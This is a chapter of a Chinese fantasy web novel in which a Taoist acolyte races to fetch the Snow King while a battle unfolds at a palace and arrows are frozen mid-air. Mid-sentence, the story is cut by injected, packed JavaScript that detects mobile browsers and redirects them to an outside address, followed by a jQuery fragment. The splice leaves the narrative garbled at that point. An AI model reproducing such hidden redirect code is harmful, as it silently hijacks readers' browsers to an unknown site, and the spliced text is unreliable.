金乌带人搬出袄子,一道士在门口嚷嚷,“我找我师兄,你们让我进去。”
金乌以为他是走投无路的人,丢下一张袄子给他,道童抓住她那手,“我们昨天见过,你让我进去。”
金乌不看他,目视前方,“跟我来。”
“谢谢。”道童转身进屋,却被门口的守卫拦住。
道童:“她都说了让我进去。”
守卫:“说的不是你。”
道童身侧,站着两个异乡人,她们身上的服饰红底白雪,袖口绣着金色的雪花纹,这种衣服雪银舞穿过,道童松了一口气,“你们终于到了。”
雪寒岁十分冷静:“他在哪里?”
“在里面,所有人都在里面。”道童嘴不停歇,“我们快进去,再晚点就来不及了。”
雪寒岁:“银舞、雪王在哪里?”
道童急得不行:“我们先进去,边走边说。”
雪寒岁立在原地:“我要见雪王。”
道童:“姑奶奶,火都烧眉毛了,现在要紧的不是雪王,是里面,里面打起来了。”
“把雪王找来,里面的事我们会处理。”雪寒岁身边的人说。
道童打量眼前的人,身形和声音都和师兄好像,要不是知道夫子在里面,定会错认他是师兄。
“把雪王带来。”雪寒岁的语气不容反驳,道童嘴上埋怨“我就是给你们跑腿的是吧”,双脚却离开地面,捯成残影。
雪天路滑,道童双脚不听使唤,滑出数米远,擦破手心的皮,没时间喊疼,爬起来继续跑,“雪王,雪王,要快点找到雪王。”
所有的商铺盖着雪,道童错过客栈。雪银舞烤着炉子染着指甲,瞧见门前跑过的道童,喊住他,展示双手,“小师父,你看我的指甲漂亮吗?”
“漂亮。”道童刹住脚,抬头看门头的牌匾,确认没错,冲进屋,“雪王在哪儿?”
“他在楼上。”雪银舞说,“小师父,是我们赢了吗?你找雪王是要带他去领赏吗?”
“不是。”道童径直冲上二楼,雪银舞跟在后面自言自语,“我就知道领主很厉害。”
找到房间,道童推门而入,惊讶地站在门口,门内的人也惊讶地看他。
地上摆满吃完的餐盘,雪王和四乌披着被褥,手里各拿着一只鸡腿,原来骗走四乌的是雪王。道童顾不得其他,快步走到雪王面前抓起他的手就走,“雪王,跟我走。”
四乌以为道童是要欺负雪王,抽下腰间的弯刀驾在道童脖子上。
“我…”道童有苦难言,气上心头,“你们再拦着,你们的爹就死了。”
乌三郎:“爹在哪里?”
雪王仰着头:“发生了什么事,漂亮哥哥为什么要死?”
“不止他爹,你舅也得死。”道童躁怒,“让他们把刀收走。”
“舅舅,呜~~”雪王吓得哭出来。
“你别哭啊,他还没死。”一边是嚎啕大哭的雪王,一边是架在脖子上的刀,道童左右为难,“你跟我走,去了他就不会死。”
雪银舞:“领主他们在王府,我们去王府。”
四乌收刀。乌三郎抓开道童,捡起地上的被褥,单臂抱起雪王,冲出房间,跳下二楼。
雪银舞:“还有我。”
乌四郎刹住脚,横抱起雪银舞跳下二楼。乌大郎、乌二郎一人抓住道童的肩膀,一起跳下二楼。
“你们慢点。”
四乌跑得极快,路人只看见几团影子在路上飞驰,道童双脚着地,被拖着前行,鞋底磨破,现在他只期望到了王府他的下半身还留着。
茶舍打得焦灼,红色的衣服在一片白里格外醒目,鹿元吉的目光追逐走近的人,单臂执杖,是此前信里说的雪寒岁,她后面的人是谁?
东方霸王也注意到了这抹红,雪域除了雪千秋,最强的便是她,这场雪有救了。
雪更大了,雪寒岁停住脚,一杖扫过靠近雪千秋的人,与雪中的东方携钰对视,周围的人不敢靠近,东方鹤归愤声大骂,“一群怂货,她就一条手臂,怕什么,杀了她呀。”
空荡荡的袖管悬在雪寒岁左肩,她转动手中的权仗,擦过东方鹤归的脖颈,血染白雪,“不论是谁,都不可以动我雪家人。”
大雪遮挡视线,东方携钰再次下令,“动手。”
院子里集结更多的将士,停滞的将士拥上前,百道夫子在人群里穿行,定住一个又一个,“你们住手,别打了。”鹿元吉双目始终不离墨生,藏在角落里的人悄悄溜走,连滚带爬跑到后院,钻出竹林,逃出王府,跑回家,上气不接下气,“快,快派人去通知东方冶,东方鹤归死了。”
东方鹤归死掉的消息很快传开,东方无量给东方奚递上茶水,“你怎么知道他死了?”
东方奚和东方鹤归原本是想去找东方霸王寻仇,听说她去了王府,他们也跟着去王府,好不容易找到机会射杀东方霸王,偏偏东方鹤归箭术不好,射偏了,还被人发现,东方奚脑子转得快,躲到假山后面,幸亏东方鹤归仗义,没将他出卖,他也仁义,把他的死去的消息带回家,“雪千秋是精怪,这场大雪因他而起。”
“此事当真!”东方无量布满皱纹的双眼闪着青光。
“爹,你可曾听过八月飞雪?”东方奚绿豆大小的眼睛奇迹般地放大,“广陵不容精怪,东方携钰明知故犯,王府乱作一团,现在是大好时机。”
自东方携钰登王,广陵的实权全部落在她的身上,他们只能忍气吞声,在她眼皮子底下过活,这样的日子早就过够了。所有人都在王府,哼哼~~东方无量容光焕发,“走,我们去剿杀精怪。”
听说东方鹤归死了,东方冶带着府兵赶到王府,嚷着要进去,守卫拦住门,门口堵得水泄不通,四乌后退,翻上屋顶,跳进王府,循着打斗声迈近。屋顶上攀上许多人,同样朝着茶舍靠近。
还未走近,道童瞧见同东方霸王交手的雪寒岁,恨铁不成钢,“仙人板板,我喊你来不是让你来打架的呀。”
鹿元吉惊讶地看着赶来的四乌,瞬间反应过来,双拳紧握。
“领主!”雪银舞挣脱乌四郎的手臂,跑向雪千秋,乌三郎抓住冲过去的雪王,道童惊呼“别过去。”
雪千秋裹在雪里,身上的伤口渗出的血将雪染红,雪银舞别去他脸上的雪,眼泪止不住下掉,抱住雪千秋,挡住甩来的镰刀,朝周围的人大喊,“你们住手!”
“舅舅!”雪王挣扎,妄想冲过去,“你们不许伤害舅舅。”
檐上挂着冰帘,道童抬头,屋顶上站满弓箭手,箭已离弦,道童大喊,“师兄!”
万箭齐发,乌四郎冲进箭林,扯开身上的衣袍,护住雪银舞。百道夫子扭头,空中密密麻麻的箭,退无可退。
“我以我法,请君入道。”
喊声勒令箭停止,道童看着空荡荡的茶舍,“他们人呢?”
屋顶上的弓箭手静止在原地,箭悬在空中,只剩下雪千秋和了然两座“雪人”,其他人全不见了。
雪王抽泣:“这……这是怎么回事?舞姐姐去哪里了?”
道童也不知道他们去哪儿了,他只听见师兄念了句口令,再看,人就不见了,至于他们为什么还在这里,还可以动,也许是因为师兄饿了,能力不及,把他们落下了,“别管那么多,先看你舅有没有死。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158316|162228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
雪王瞪过去。
道童改口:“检查他的伤势,你看你舅,我看我师兄。”
雪王:“这么多箭,万一它们掉下来,射中舅舅怎么办。”
“这个好办。”道童擅长驭器,动动手指头而已。道童双手结印,右手在空中滑动,写下一列经文,三道黑影在空中乱窜,摘下所有箭羽。
三乌抱着整齐的箭站在道童面前,看似在炫耀,道童赌气打散经文,真让人没面子。
了然除了嘴角挂了点雪,全身没有其他伤口。雪千秋身上的衣服被血染红,雪王抹眼泪,“舅舅流了好多血。”
“他还没死,你先别哭。”道童检查雪千秋身上的伤势,他的伤都是外伤,只有这鼻血是内伤。鼻血不止,再好的药材也没用,道童不言,得知道他的神思去了哪里。
道童:“乌三郎,你把被子拿过来。”
乌三郎只听雪王、鹿元吉的话,其他人的话他不听,站在原地。
道童:“……”
就我一个人是奴隶。
道童捡来被褥,蒙在头上盘地而坐,雪王钻进被子,“你要做什么?”
“我要知道你舅舅去了什么地方。”道童掏出简易的卦阵,还是那三枚铜板。
雪王欢喜:“通过这条被子就可以找到舅舅?”
道童:“不。我冷。”
三乌也钻进被子,原本宽敞的空间变得狭小,道童愠怒,“你们进来干什么?”
三乌齐声:“冷。”
算了算了,不和他们计较。道童握着卦阵一角,“你们三个,帮我牵着其他三个角。”
三乌扯平卦阵,道童把铜板丢给雪王,“你来丢。”
雪王照做,把铜板撒在卦阵上。铜板在卦阵上游走,经过的地方留下红色的痕迹,周围的环境瞬变,大风呼啸,雪花飘荡,地上满是尸体,道童抬手捂住雪王的双眼,周遭是断壁残垣,雪千秋静静地站在雪中,仿若周围的事物和他无关,了然逆着雪步步靠近,接近雪千秋时被打出十米外,了然爬起,再靠近,依旧是同样的结局。
道童不解,大师兄道法无边,他完全可以了结雪千秋,他为何要这样做?
“我也要看。”雪王抓开道童的手,道童快速收走铜板,把布角塞给雪王,“这次换我来丢,你帮我拿着。”
道童双掌紧贴,上下晃动,撒下铜板,铜板绕着卦阵滑动,经过的地方似蓝色海水流淌,环境再次变化,方才消失的人站在经文阵里,阵眼是百道夫子。金色的经文在夫子脸上流动,他蓝色的双瞳里经文环绕。
道童欢呼:“师兄终于渡过百道了。”
“上次你们拿我舅舅练道,这次又是哪个倒霉蛋?”想起上次的事,雪王就有些生气。
道童:“上次失败了,这次没有牺牲任何人。”
阵里的所有人防备地看着夫子,颜灵甩出长镰,夫子接住,蓝色的双瞳直视着她,颜灵觉着有些渗人。其余的颜家人甩出长链……道童直骂,“除了打架就不能干点儿正事吗!”
乌三郎看见鹿元吉,催促道童,“放爹出来。”
在百色时,道童卜过卦,雪千秋会有“死劫”,客栈的一卦是所有人的“死劫”,两个劫相遇……道童顿悟,雪千秋是其他人的劫,其他人也是雪千秋的劫,要把他们放在一起。
“雪王,闭上眼睛,我不叫你睁眼,你就不能睁眼。”道童抓住雪王的手,雪王点头闭眼。铜板走过的地方变成红色,与先前的蓝色的痕迹交融,雪飘进符阵,阵里的经文逆着雪流淌。
红蓝交融,寒风刮着每个人的面庞,熟悉的气息唤回雪银舞的记忆,这是雪域。